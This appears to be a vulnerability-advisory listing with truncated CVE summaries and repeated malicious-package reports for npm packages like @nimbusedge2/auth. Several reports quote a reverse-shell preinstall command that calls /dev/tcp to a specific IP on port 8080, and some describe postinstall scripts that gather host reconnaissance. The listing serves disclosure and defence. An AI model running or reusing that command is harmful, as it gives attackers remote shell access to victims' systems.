CVE-2026-93012

The Email::Sender::Transport::Sendmail Perl module (versions before 2.602 ) is vulnerable to arbitrary command execution on Windows systems. The issue resides in the _sendmail_pipe function, where the module concatenates the envelope sender and every recipient into a single command string that is...

shell-quote: shell-quote: Arbitrary command execution via improper line terminator handling

A flaw was found in shell-quote. This vulnerability allows an attacker to achieve arbitrary command execution by supplying crafted input containing line break characters after a comment marker. When input is quoted, the comment marker comments out subsequent quotes until a newline is encountered,...

SUSE CVE-2026-73667

OpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.4, 1.1.4, and 1.2.0-rc.2, OpenChoreo Workflow Plane templates under samples/getting-started/workflow-templates/ interpolated developer-controlled workflow parameters into shell program text executed through sh -...

CVE-2026-36467

Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell...

CVE-2026-55071

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the adopackageinstall MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can...

Malicious code in catwrestlingbird (npm)

Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host reconnaissance — hostname, username, platform/arch/OS release,...

MAL-2026-16327 Malicious code in catwrestlingbird (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host...

Malicious code in catwrestlingbird (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host...

Malicious code in @nimbusedge2/x (npm)

Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcode...

Malicious code in @nimbsuedge3/xar (npm)

Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output...

Malicious code in @nimbusedge2/auth (npm)

Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that...

Malicious code in @nimbusedge2/xa (npm)

Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP port 8080 and pipes the shell's output through curl to...

MAL-2026-16302 Malicious code in @nimbusedge2/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to...

Malicious code in @nimbusedge2/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to...

Malicious code in @nimbusedge2/x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i &...

MAL-2026-16305 Malicious code in @nimbusedge2/x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i &...

MAL-2026-16306 Malicious code in @nimbusedge2/xa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP po...

Malicious code in @nimbusedge2/xa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP po...

MAL-2026-16301 Malicious code in @nimbsuedge3/xar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...

Malicious code in @nimbsuedge3/xar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...